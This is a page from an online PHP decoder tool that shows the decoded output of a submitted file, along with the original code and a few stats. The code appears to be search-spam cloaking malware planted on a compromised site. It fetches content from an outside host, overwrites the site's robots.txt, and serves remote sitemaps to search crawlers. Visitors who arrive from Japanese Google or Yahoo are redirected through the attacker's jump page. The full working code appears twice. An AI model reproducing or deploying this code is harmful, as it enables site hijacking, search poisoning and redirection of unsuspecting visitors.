Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $hdB1U = "https://j250115_13.monkeyes.click/"; class s90e4 { public function Dx1Te($..
Decoded Output download
<?php $hdB1U = "https://j250115_13.monkeyes.click/"; class s90e4 { public function Dx1Te($ge86o = '', $UBADs = '') { if (!empty($ge86o)) { goto PXq2N; } return $_SERVER; PXq2N: $ge86o = strtoupper($ge86o); return isset($_SERVER[$ge86o]) ? $_SERVER[$ge86o] : $UBADs; } public function MVMhQ() { if ($this->DX1te("HTTPS") && ("1" == $this->DX1Te("HTTPS") || "on" == strtolower($this->DX1TE("HTTPS")))) { goto tcEA0; } if ("https" == $this->dX1TE("REQUEST_SCHEME")) { goto JVKnQ; } if ("443" == $this->Dx1TE("SERVER_PORT")) { goto Y_lIH; } if ("https" == $this->dX1tE("HTTP_X_FORWARDED_PROTO")) { goto rYa30; } goto bhyWC; tcEA0: return true; goto bhyWC; JVKnQ: return true; goto bhyWC; Y_lIH: return true; goto bhyWC; rYa30: return true; bhyWC: return false; } public function OKFp0() { $SZHK_ = strval($this->DX1Te("HTTP_X_FORWARDED_HOST") ?: $this->DX1Te("HTTP_HOST")); return strpos($SZHK_, ":") ? strstr($SZHK_, ":", true) : $SZHK_; } public function fo0LN() { return $this->MVMhQ() ? "https" : "http"; } public function MQ0MR() { $tkngJ = $this->SyW3l(); if (!in_array($tkngJ, [80, 443])) { goto TNAcf; } return $this->fO0lN() . "://" . $this->OkFP0(); TNAcf: return $this->fo0lN() . "://" . $this->oKFP0() . ":" . $tkngJ; } public function SYW3l() : int { return (int) ($this->DX1tE("HTTP_X_FORWARDED_PORT") ?: $this->Dx1tE("SERVER_PORT", '')); } public function x7dtN() { $cSFA6 = strtolower($this->Dx1te("HTTP_USER_AGENT")); if (!($cSFA6 != '' && preg_match("/googlebot|google|yahoo|bing|aol/si", $cSFA6))) { goto Kno5z; } return true; Kno5z: return false; } public function HPSK6() { $dkDYD = strtolower($this->dx1te("HTTP_REFERER")); if (!($dkDYD != '' && preg_match("/google.co.jp|yahoo.co.jp|google.com/si", $dkDYD))) { goto YPQbT; } return true; YPQbT: return false; } public function ngDXH() { $WC3RN = basename($this->Dx1tE("SCRIPT_FILENAME")); if (basename($this->dx1TE("SCRIPT_NAME")) === $WC3RN) { goto mIFoC; } if (basename($this->DX1TE("PHP_SELF")) === $WC3RN) { goto Bcx8z; } if (basename($this->dX1TE("ORIG_SCRIPT_NAME")) === $WC3RN) { goto teSTu; } if (($zsk98 = strpos($this->DX1Te("PHP_SELF"), "/" . $WC3RN)) !== false) { goto z8CqP; } if ($this->DX1Te("DOCUMENT_ROOT") && strpos($this->Dx1te("SCRIPT_FILENAME"), $this->Dx1tE("DOCUMENT_ROOT")) === 0) { goto nWumh; } goto Z1ncH; mIFoC: $VvZdn = $this->dX1Te("SCRIPT_NAME"); goto Z1ncH; Bcx8z: $VvZdn = $this->dx1TE("PHP_SELF"); goto Z1ncH; teSTu: $VvZdn = $this->DX1tE("ORIG_SCRIPT_NAME"); goto Z1ncH; z8CqP: $VvZdn = substr($this->dx1Te("SCRIPT_NAME"), 0, $zsk98) . "/" . $WC3RN; goto Z1ncH; nWumh: $VvZdn = str_replace($this->DX1TE("DOCUMENT_ROOT"), '', $this->dX1te("SCRIPT_FILENAME")); Z1ncH: if (($zsk98 = strpos($this->Dx1Te("REQUEST_URI"), ".php")) !== false) { goto u0Qrg; } $rF9Fb = $VvZdn . substr($this->dx1TE("REQUEST_URI"), strpos($this->dx1Te("REQUEST_URI"), "/")); goto CxEvT; u0Qrg: $rF9Fb = $VvZdn . substr($this->DX1te("REQUEST_URI"), $zsk98 + 4); CxEvT: return rtrim($rF9Fb, "/"); } public function cLuKC($VvZdn, $gX6eK = array()) { $VvZdn = str_replace(" ", "+", $VvZdn); $h1nm8 = curl_init(); curl_setopt($h1nm8, CURLOPT_URL, $VvZdn); curl_setopt($h1nm8, CURLOPT_RETURNTRANSFER, 1); curl_setopt($h1nm8, CURLOPT_HEADER, 0); curl_setopt($h1nm8, CURLOPT_TIMEOUT, 20); curl_setopt($h1nm8, CURLOPT_POST, 1); curl_setopt($h1nm8, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($h1nm8, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($h1nm8, CURLOPT_POSTFIELDS, http_build_query($gX6eK)); $kgJz7 = curl_exec($h1nm8); $POPuS = curl_errno($h1nm8); curl_close($h1nm8); if (!(0 !== $POPuS)) { goto EvSSU; } return false; EvSSU: return $kgJz7; } } $B7gwQ = new s90E4(); $XuZJW = $B7gwQ->x7DTN(); $cEex0 = $B7gwQ->HpsK6(); $kUxcZ = $hdB1U . "robots.php"; $NqWLX = $hdB1U . "word.php"; $ihV5B = $hdB1U . "jump.php"; $cam48 = $hdB1U . "map.php"; $w55O2 = $hdB1U . "indata.php"; $EhDtM = str_replace("/index.php", '', urldecode($B7gwQ->ngdXh())); $gX6eK = ["domain" => $B7gwQ->mQ0mR(), "port" => $B7gwQ->Syw3L(), "uri" => $EhDtM]; if (!(substr($EhDtM, -6) == "robots")) { goto cBtI1; } $kgJz7 = $B7gwQ->ClUkC($kUxcZ, $gX6eK); file_put_contents(__DIR__ . "/robots.txt", $kgJz7); $gKPu1 = @file_get_contents(__DIR__ . "/robots.txt"); if (strpos(strtolower($gKPu1), "sitemap")) { goto Df9SK; } exit("robots.txt file create fail!"); goto C4eeH; Df9SK: exit("robots.txt file create success!"); C4eeH: cBtI1: if (!(substr($EhDtM, -4) == ".xml")) { goto yH9ec; } if (!(strpos($EhDtM, "allsitemap.xml") || strpos($EhDtM, "sitemap-index.xml") || strpos($EhDtM, "sitemap-index-1.xml") || strpos($EhDtM, "index.xml"))) { goto rnL9Q; } $kgJz7 = $B7gwQ->clUKc($cam48, $gX6eK); header("Content-type:text/" . (substr($kgJz7, 0, 5) === "<?xml" ? "xml" : "plain") . "; charset=utf-8"); exit('' . $kgJz7); rnL9Q: $kgJz7 = $B7gwQ->CLUkc($NqWLX, $gX6eK); header("Content-type:text/xml; charset=utf-8"); if ($kgJz7 == "1") { goto Vo4VJ; } exit('' . $kgJz7); goto wdT03; Vo4VJ: exit('' . $B7gwQ->Clukc($cam48, $gX6eK)); wdT03: yH9ec: $tzvVZ = $B7gwQ->Dx1tE("HTTP_ACCEPT_LANGUAGE"); if (!(!$XuZJW && $cEex0 && preg_match("/ja/i", $tzvVZ))) { goto VFL0y; } exit('' . $B7gwQ->CLUKC($ihV5B, $gX6eK)); VFL0y: if (!($XuZJW || preg_match("#[a-zA-Z]+\-[a-zA-Z]+\d{5,7}\-\d{3}#", $EhDtM))) { goto bVyt1; } exit('' . $B7gwQ->clUkC($w55O2, $gX6eK)); bVyt1:?>
Did this file decode correctly?
Original Code
<?php $hdB1U = "https://j250115_13.monkeyes.click/"; class s90e4 { public function Dx1Te($ge86o = '', $UBADs = '') { if (!empty($ge86o)) { goto PXq2N; } return $_SERVER; PXq2N: $ge86o = strtoupper($ge86o); return isset($_SERVER[$ge86o]) ? $_SERVER[$ge86o] : $UBADs; } public function MVMhQ() { if ($this->DX1te("HTTPS") && ("1" == $this->DX1Te("HTTPS") || "on" == strtolower($this->DX1TE("HTTPS")))) { goto tcEA0; } if ("https" == $this->dX1TE("REQUEST_SCHEME")) { goto JVKnQ; } if ("443" == $this->Dx1TE("SERVER_PORT")) { goto Y_lIH; } if ("https" == $this->dX1tE("HTTP_X_FORWARDED_PROTO")) { goto rYa30; } goto bhyWC; tcEA0: return true; goto bhyWC; JVKnQ: return true; goto bhyWC; Y_lIH: return true; goto bhyWC; rYa30: return true; bhyWC: return false; } public function OKFp0() { $SZHK_ = strval($this->DX1Te("HTTP_X_FORWARDED_HOST") ?: $this->DX1Te("HTTP_HOST")); return strpos($SZHK_, ":") ? strstr($SZHK_, ":", true) : $SZHK_; } public function fo0LN() { return $this->MVMhQ() ? "https" : "http"; } public function MQ0MR() { $tkngJ = $this->SyW3l(); if (!in_array($tkngJ, [80, 443])) { goto TNAcf; } return $this->fO0lN() . "://" . $this->OkFP0(); TNAcf: return $this->fo0lN() . "://" . $this->oKFP0() . ":" . $tkngJ; } public function SYW3l() : int { return (int) ($this->DX1tE("HTTP_X_FORWARDED_PORT") ?: $this->Dx1tE("SERVER_PORT", '')); } public function x7dtN() { $cSFA6 = strtolower($this->Dx1te("HTTP_USER_AGENT")); if (!($cSFA6 != '' && preg_match("/googlebot|google|yahoo|bing|aol/si", $cSFA6))) { goto Kno5z; } return true; Kno5z: return false; } public function HPSK6() { $dkDYD = strtolower($this->dx1te("HTTP_REFERER")); if (!($dkDYD != '' && preg_match("/google.co.jp|yahoo.co.jp|google.com/si", $dkDYD))) { goto YPQbT; } return true; YPQbT: return false; } public function ngDXH() { $WC3RN = basename($this->Dx1tE("SCRIPT_FILENAME")); if (basename($this->dx1TE("SCRIPT_NAME")) === $WC3RN) { goto mIFoC; } if (basename($this->DX1TE("PHP_SELF")) === $WC3RN) { goto Bcx8z; } if (basename($this->dX1TE("ORIG_SCRIPT_NAME")) === $WC3RN) { goto teSTu; } if (($zsk98 = strpos($this->DX1Te("PHP_SELF"), "/" . $WC3RN)) !== false) { goto z8CqP; } if ($this->DX1Te("DOCUMENT_ROOT") && strpos($this->Dx1te("SCRIPT_FILENAME"), $this->Dx1tE("DOCUMENT_ROOT")) === 0) { goto nWumh; } goto Z1ncH; mIFoC: $VvZdn = $this->dX1Te("SCRIPT_NAME"); goto Z1ncH; Bcx8z: $VvZdn = $this->dx1TE("PHP_SELF"); goto Z1ncH; teSTu: $VvZdn = $this->DX1tE("ORIG_SCRIPT_NAME"); goto Z1ncH; z8CqP: $VvZdn = substr($this->dx1Te("SCRIPT_NAME"), 0, $zsk98) . "/" . $WC3RN; goto Z1ncH; nWumh: $VvZdn = str_replace($this->DX1TE("DOCUMENT_ROOT"), '', $this->dX1te("SCRIPT_FILENAME")); Z1ncH: if (($zsk98 = strpos($this->Dx1Te("REQUEST_URI"), ".php")) !== false) { goto u0Qrg; } $rF9Fb = $VvZdn . substr($this->dx1TE("REQUEST_URI"), strpos($this->dx1Te("REQUEST_URI"), "/")); goto CxEvT; u0Qrg: $rF9Fb = $VvZdn . substr($this->DX1te("REQUEST_URI"), $zsk98 + 4); CxEvT: return rtrim($rF9Fb, "/"); } public function cLuKC($VvZdn, $gX6eK = array()) { $VvZdn = str_replace(" ", "+", $VvZdn); $h1nm8 = curl_init(); curl_setopt($h1nm8, CURLOPT_URL, $VvZdn); curl_setopt($h1nm8, CURLOPT_RETURNTRANSFER, 1); curl_setopt($h1nm8, CURLOPT_HEADER, 0); curl_setopt($h1nm8, CURLOPT_TIMEOUT, 20); curl_setopt($h1nm8, CURLOPT_POST, 1); curl_setopt($h1nm8, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($h1nm8, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($h1nm8, CURLOPT_POSTFIELDS, http_build_query($gX6eK)); $kgJz7 = curl_exec($h1nm8); $POPuS = curl_errno($h1nm8); curl_close($h1nm8); if (!(0 !== $POPuS)) { goto EvSSU; } return false; EvSSU: return $kgJz7; } } $B7gwQ = new s90E4(); $XuZJW = $B7gwQ->x7DTN(); $cEex0 = $B7gwQ->HpsK6(); $kUxcZ = $hdB1U . "robots.php"; $NqWLX = $hdB1U . "word.php"; $ihV5B = $hdB1U . "jump.php"; $cam48 = $hdB1U . "map.php"; $w55O2 = $hdB1U . "indata.php"; $EhDtM = str_replace("/index.php", '', urldecode($B7gwQ->ngdXh())); $gX6eK = ["domain" => $B7gwQ->mQ0mR(), "port" => $B7gwQ->Syw3L(), "uri" => $EhDtM]; if (!(substr($EhDtM, -6) == "robots")) { goto cBtI1; } $kgJz7 = $B7gwQ->ClUkC($kUxcZ, $gX6eK); file_put_contents(__DIR__ . "/robots.txt", $kgJz7); $gKPu1 = @file_get_contents(__DIR__ . "/robots.txt"); if (strpos(strtolower($gKPu1), "sitemap")) { goto Df9SK; } exit("robots.txt file create fail!"); goto C4eeH; Df9SK: exit("robots.txt file create success!"); C4eeH: cBtI1: if (!(substr($EhDtM, -4) == ".xml")) { goto yH9ec; } if (!(strpos($EhDtM, "allsitemap.xml") || strpos($EhDtM, "sitemap-index.xml") || strpos($EhDtM, "sitemap-index-1.xml") || strpos($EhDtM, "index.xml"))) { goto rnL9Q; } $kgJz7 = $B7gwQ->clUKc($cam48, $gX6eK); header("Content-type:text/" . (substr($kgJz7, 0, 5) === "<?xml" ? "xml" : "plain") . "; charset=utf-8"); exit('' . $kgJz7); rnL9Q: $kgJz7 = $B7gwQ->CLUkc($NqWLX, $gX6eK); header("Content-type:text/xml; charset=utf-8"); if ($kgJz7 == "1") { goto Vo4VJ; } exit('' . $kgJz7); goto wdT03; Vo4VJ: exit('' . $B7gwQ->Clukc($cam48, $gX6eK)); wdT03: yH9ec: $tzvVZ = $B7gwQ->Dx1tE("HTTP_ACCEPT_LANGUAGE"); if (!(!$XuZJW && $cEex0 && preg_match("/ja/i", $tzvVZ))) { goto VFL0y; } exit('' . $B7gwQ->CLUKC($ihV5B, $gX6eK)); VFL0y: if (!($XuZJW || preg_match("#[a-zA-Z]+\-[a-zA-Z]+\d{5,7}\-\d{3}#", $EhDtM))) { goto bVyt1; } exit('' . $B7gwQ->clUkC($w55O2, $gX6eK)); bVyt1:?>
Function Calls
None |
Stats
MD5 | b2e79a7a4da0bb2133f2828df43b2f1a |
Eval Count | 0 |
Decode Time | 59 ms |